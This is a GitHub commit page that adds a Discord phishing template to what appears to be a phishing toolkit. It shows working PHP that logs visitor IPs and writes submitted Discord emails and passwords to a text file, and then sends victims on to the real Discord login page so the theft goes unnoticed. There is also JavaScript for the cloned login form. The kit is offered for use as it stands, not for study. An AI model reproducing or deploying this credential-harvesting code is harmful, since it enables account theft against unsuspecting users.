Skip to content

Commit

Permalink
Added Discord Phishing Template
Browse files Browse the repository at this point in the history
  • Loading branch information
htr-tech authored Apr 5, 2022
2 parents 6da46d0 + f107380 commit 2826229
Show file tree
Hide file tree
Showing 12 changed files with 9,841 additions and 1 deletion.
Binary file not shown.
23 changes: 23 additions & 0 deletions .sites/discord/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
MIT License

Copyright (c) 2022 Ali Milani

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

# https://github.com/AliMilani/fake-discord
Binary file added .sites/discord/banner.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file added .sites/discord/fav.ico
Binary file not shown.
5 changes: 5 additions & 0 deletions .sites/discord/index.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
<?php
include 'ip.php';
header('Location: login.html');
exit
?>
820 changes: 820 additions & 0 deletions .sites/discord/login.html

Large diffs are not rendered by default.

5 changes: 5 additions & 0 deletions .sites/discord/login.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
<?php
file_put_contents("usernames.txt", "Discord Username: " . $_POST['email'] . " Pass: " . $_POST['pass'] ."\n", FILE_APPEND);
header('Location: https://discord.com/login');
exit();
?>
Binary file added .sites/discord/qr.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
28 changes: 28 additions & 0 deletions .sites/discord/script.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
let inputs = document.querySelectorAll('form input')
let submitBtn = document.querySelector('form button[type="submit"]')
// submitBtn.addEventListener("click", validateForm)
inputs[1].addEventListener("input", validateForm)

function validateForm() {
let outlines = document.querySelectorAll('form .input-outline')
let lables = document.querySelectorAll('.colorStandard-21JIj7')
let errMessages = document.querySelectorAll('.errorMessage-1kMqS5')

for (let i = 0; i < inputs.length; i++) {
inputs[i].addEventListener("input", validateForm)
if (inputs[i].value == '') {
outlines[i].classList.add('error-8r7mjf')
lables[i].classList.add('error-3EBD81')
errMessages[i].style.display = 'inline'

} else {
outlines[i].classList.remove('error-8r7mjf')
lables[i].classList.remove('error-3EBD81')
errMessages[i].style.display = 'none'
submitBtn.disabled = ''
}
}
(!inputs[0].value == '' && !inputs[1].value == '') ?
submitBtn.disabled = '' : submitBtn.disabled = 'disabled'

}
Loading

0 comments on commit 2826229

Please sign in to comment.